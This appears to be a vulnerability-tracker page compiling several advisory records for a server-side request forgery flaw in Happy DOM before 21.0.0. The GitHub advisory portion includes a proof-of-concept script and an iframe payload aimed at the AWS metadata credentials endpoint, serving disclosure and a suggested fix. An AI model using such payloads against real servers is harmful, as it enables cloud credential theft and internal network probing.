Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.

Source published

28 Oct 2026 20:23:10 UTC

Source modified

29 Oct 2026 17:23:32 UTC

Observed here

29 Oct 2026 19:28:49 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.

Source published

Oct 28, 2026, 8:23:10 PM (timezone not stated)

Source modified

Oct 29, 2026, 5:23:32 PM (timezone not stated)

Observed here

6 Nov 2026 00:45:17 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.

Source published

28 Oct 2026 21:16:56 UTC

Source modified

29 Oct 2026 18:17:27 UTC

Observed here

30 Oct 2026 22:45:44 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ## Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ## Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Source published

28 Oct 2026 21:06:42 UTC

Source modified

28 Oct 2026 21:15:05 UTC

Observed here

28 Oct 2026 21:55:29 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH